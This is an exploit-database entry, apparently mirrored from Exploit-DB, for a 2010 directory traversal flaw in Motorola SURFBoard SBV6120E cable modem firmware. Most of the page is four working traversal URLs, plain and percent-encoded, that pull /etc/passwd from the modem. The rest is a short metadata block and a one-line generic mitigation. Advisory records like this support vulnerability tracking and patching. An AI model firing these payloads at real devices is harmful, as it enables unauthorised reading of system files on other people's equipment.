header-logo
Suggest Exploit
vendor:
SURFBoard Cable Modem
by:
S2 Crew [Hungary]
7,5
CVSS
HIGH
Directory Traversal
22
CWE
Product Name: SURFBoard Cable Modem
Affected Version From: SBV6X2X-1.0.0.5-SCM-02-SHPC
Affected Version To: SBV6X2X-1.0.0.5-SCM-02-SHPC
Patch Exists: N/A
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2010

Motorola SURFBoard Cable Modem Directory Traversal

The vulnerability allows an attacker to access the /etc/passwd file from the modem by using the following URLs: http://[IP]///etc/passwd, http://[IP]/../../etc/passwd, http://[IP]/..%2f..%2fetc/passwd, http://[IP]/%2e%2e/%2e%2e/etc/passwd.

Mitigation:

Ensure that the web application is not vulnerable to directory traversal attacks by validating user input and restricting access to sensitive files.
Source

Exploit-DB raw data:

# Exploit Title: Motorola SURFBoard Cable Modem Directory Traversal
# Date: 2010.06.03
# Author: S2 Crew [Hungary]
# Software Link: -
# Version: Model name: SBV6120E, Firmware Name: SBV6X2X-1.0.0.5-SCM-02-SHPC
# Tested on: ^
# CVE: -
# Code :

The following urls get back the /etc/passwd file from the modem:

http://[IP]///etc/passwd <http://[ip]///etc/passwd>
http://[IP]/../../etc/passwd

http://[IP]/..%2f..%2fetc/passwd <http://[ip]/..%2f..%2fetc/passwd>
http://[IP]/%2e%2e/%2e%2e/etc/passwd

Navigation

Suggest Exploit

Services By CQR